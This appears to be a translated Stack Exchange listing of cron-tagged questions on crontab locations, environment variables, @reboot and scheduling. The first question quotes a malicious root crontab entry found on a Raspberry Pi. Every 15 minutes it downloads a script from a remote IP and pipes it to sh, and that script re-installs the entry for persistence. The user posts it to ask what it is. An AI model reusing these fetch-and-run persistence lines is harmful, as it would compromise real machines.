Questions tagged «cron»

Cron是一个作业调度程序,它允许用户定期运行命令。

2
可疑的crontab条目每15分钟运行一次“ xribfa4”
我想在Raspberry Pi上的根crontab文件中添加一些内容,但发现一个对我来说似乎可疑的条目,在Google上搜索它的部分内容没有任何结果。 Crontab条目: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh 的内容http://103.219.112.66:8000/i.sh是: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root cp -f /var/spool/cron/root /var/spool/cron/crontabs/root …
59 security  cron  malware 

2
crontab文件的位置
和其他大多数人一样,我通过编辑我的crontab crontab -e,其中保留了所有常规操作,例如增量备份,ntpdate,各种rsync操作,以及使我的桌面背景圣诞节每年一次为主题。据我了解,对于全新安装或新用户,如果文件不存在,它也会自动创建文件。但是,我想将此文件复制到另一个用户,所以我正在编辑的实际文件在哪里? 如果发行版之间有所不同,那么我正在使用Centos5和Mint 17
52 cron  filenames 

8
cron会忽略“ .bashrc”和“ .bash_profile”中定义的变量
我在/ etc / crontab文件中定义了“ SHELL”变量: [martin@martin ~]$ grep SHELL /etc/crontab SHELL=/usr/local/bin/bash [martin@martin ~]$ file /usr/local/bin/bash /usr/local/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.0 (800107), stripped [martin@martin ~]$ 另外,我在/ etc / crontab文件中的所有脚本都在用户“马丁”下启动。但是/home/martin/.bash_profile(用于登录shell)和/home/martin/.bashrc(用于非登录shell)包含一些变量,这些变量在cron作业的情况下会被忽略,但是在我登录到计算机上方时使用SSH或打开新的bash会话。为什么cron会忽略这些变量?cron是否只是简单地执行具有用户“马丁”权限的“ / usr / local / bin / bash my-script.sh”?
49 bash  cron 

3
在启动/启动过程中运行脚本;init.d和cron @reboot
我目前正在尝试了解在系统启动/引导时运行脚本的init.dcron和cron 之间的区别@reboot。 使用的@reboot(这种方法中提到的这个论坛由hs.chandra)是一些什么比较简单,通过简单地进入crontab -e并创建一个@reboot /some_directory/to_your/script/your_script.txt,然后your_script.txt,应在每次系统启动时执行。有深入的解释@reboot是这里 或者,通过嵌入/etc/init.d/your_script.txt到脚本的第二行,即: #!/bin/bash # /etc/init.d/your_script.txt 您可以运行,chmod +x /etc/init.d/your_script.txt并且your_script.txt每次引导系统时也应运行该结果。 Q1:两者之间的主要区别是什么?Q2:哪个更强大?Q3:两者中有更好的一个吗?Q4:这是嵌入脚本以在引导过程中运行的正确方法吗? 我将合并一个bash .sh文件以在启动期间运行。


4
我怎样才能告诉cron每隔一天(奇/偶)运行一条命令
当配置cron使用“月的天”字段每隔一天运行一次命令时,如下所示: 1 22 */2 * * COMMAND 它在每个月的某天都是奇数时运行:1、3、5、7、9,依此类推。 我如何配置cron在每月的几天中运行,例如2、6、8、10等等(不按字面值进行指定,这是有问题的,因为每个月的月份天数不同)?
45 cron 

3
@reboot后+1分钟开始Crontab作业
需要在+1分钟内每次重新启动时执行脚本。我记录了下来,@reboot但对我的剧本来说还为时过早。重新启动后如何执行?
42 cron 

15
精确地以非常短的时间间隔运行unix命令,而不会随着时间的推移而累积时间滞后
题 我希望能够在很长一段时间内每秒精确地运行UNIX命令。 我需要一个解决方案,该解决方案在一定时间后不会落后,因为命令本身需要执行时间。在这方面,sleep,watch和某些python脚本都使我失败了。 在诸如http://Arduino.cc之类的微控制器上,我将通过硬件时钟中断来实现。我想知道是否存在类似的时间精确的shell脚本解决方案。我在StackExchange.com中找到的所有解决方案,如果运行数小时,将导致明显的时间延迟。请参阅下面的详细信息。 实际用途/应用 我想通过nc每1秒通过(netcat)发送时间戳来测试我的网络连接是否连续不断。 发件人: precise-timestamp-generator | tee netcat-sender.txt | nc $receiver $port 接收方: nc -l -p $port > netcat-receiver.txt 完成后,比较两个日志: diff netcat-sender.txt netcat-receiver.txt 差异将是未传输的时间戳。由此,我会知道我的LAN / WAN / ISP在什么时候出现问题。 解决方案休眠 while [ true ]; do date "+%Y-%m-%d %H:%M:%S" ; sleep 1; done | tee timelog-sleep.txt 随着时间的推移获得一定的偏移量,因为循环内的命令也需要一些时间。 精确 cat …
38 cron  real-time 

5
在Cron脚本中使用系统日期/时间
我正在设置一个Cronjob,它将备份服务器中已有的MySQL数据库,但是我不希望它继续一遍又一遍地覆盖相同的文件。相反,我希望有一系列备份可以自动选择。例如: ## Cronjob, run May 21st, 2011: mysqldump -u username -ppasword database > /path/to/file/21-03-2011.sql ## SAME Conjob, run May 28th, 2011: mysqldump -u username -ppasword database > /path/to/file/28-03-2011.sql 等等。 有什么方法可以将系统日期和/或时间用作Cronjob中的某种变量?如果没有,您对实现相同目标有什么建议?
37 bash  terminal  cron 

1
如何启用定位和排队要构建的数据库?
在新的Ubuntu 10.4实例上,我尝试locate仅使用命令来接收错误 locate: can not stat () `/var/lib/mlocate/mlocate.db': No such file or directory 在其他系统上使用此命令时,我猜测这意味着尚未构建数据库(这是全新安装)。我相信它应该每天运行,但是我应该如何排队使其立即运行? 另外,如何确定“每日运行”?如果我有一个仅一次打开一个小时的盒子,那么数据库是否会自己建立?

1
在CentOS中哪里可以找到Crontab日志
首先,我正在使用CentOS [root@a etc]# cat system-release CentOS release 6.5 (Final) [root@a cron.daily]# ps -ef | grep cron root 982 1 0 Jun14 ? 00:01:15 crond root 5692 5441 0 00:49 pts/0 00:00:00 grep cron [root@a cron.daily]# 而且我的资源用完了,所以我想删除旧的日志文件。在这种情况下,我想删除几乎超过100MB的旧的安全日志,因此我为root用户提供了以下crontab条目。 [root@a etc]# crontab -l 0 1 * * * find /var/log -name "secure-*" -mtime …
36 centos  cron  logs  etc 


2
cron的PATH设置在哪里?
Cron不会使用crontab而是拥有自己的crontab的用户的路径。可以通过PATH=/foo/bar在crontab的开头添加内容来轻松更改它,经典的解决方法是始终使用绝对路径访问cron运行的命令,但是cron的默认PATH在哪里定义? 我在Arch系统(cronie 1.5.1-1)上创建了具有以下内容的crontab,并在Ubuntu 16.04.3 LTS盒上进行了测试,结果相同: $ crontab -l * * * * * echo "$PATH" > /home/terdon/fff 打印: $ cat fff /usr/bin:/bin 但为什么?系统范围的默认路径是在中设置的/etc/profile,但其中包括其他目录: $ grep PATH= /etc/profile PATH="/usr/local/sbin:/usr/local/bin:/usr/bin" /etc/environment或中没有其他相关内容,/etc/profile.d我认为cron可能会读取其他文件: $ grep PATH= /etc/profile.d/* /etc/environment /etc/profile.d/jre.sh:export PATH=${PATH}:/usr/lib/jvm/default/bin /etc/profile.d/mozilla-common.sh:export MOZ_PLUGIN_PATH="/usr/lib/mozilla/plugins" /etc/profile.d/perlbin.sh:[ -d /usr/bin/site_perl ] && PATH=$PATH:/usr/bin/site_perl /etc/profile.d/perlbin.sh:[ -d /usr/lib/perl5/site_perl/bin ] && PATH=$PATH:/usr/lib/perl5/site_perl/bin …
34 cron  path 

12
在cron中使用notify-send
我正在将Arch Linux与KDE / Awesome WM一起使用。我正在努力 notify-send与cron。 我试过设置DISPLAY/ XAUTHORITY变量,并notify-send使用“ sudo -u” 运行,但都没有结果。 我可以从会话中以交互方式调用通知发送并获得通知。 FWIW,cron作业运行良好,我通过将内容回显到临时文件来进行验证。只是“通知发送”无效。 码: [matrix@morpheus ~]$ crontab -l * * * * * /home/matrix/scripts/notify.sh [matrix@morpheus ~]$ cat /home/matrix/scripts/notify.sh #!/bin/bash export DISPLAY=127.0.0.1:0.0 export XAUTHORITY=/home/matrix/.Xauthority echo "testing cron" >/tmp/crontest sudo -u matrix /usr/bin/notify-send "hello" echo "now tested notify-send" >>/tmp/crontest [matrix@morpheus ~]$ cat …

6
Crontab在/etc/cron.d中永远不会运行
这是我对Debian Jessie所做的事情: 通过安装cron apt-get install cron 放入backup_crontab文件/etc/cron.d/ 但是,该任务永远不会运行。 以下是一些输出: /# crontab -l no crontab for root /# cd /etc/cron.d && ls backup_crontab /etc/cron.d# cat backup_crontab 0,15,30,45 * * * * /backup.sh >/dev/null 2>&1 是否需要做一些事情来激活特定的crontab或激活cron“服务”本身?
32 debian  cron 

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.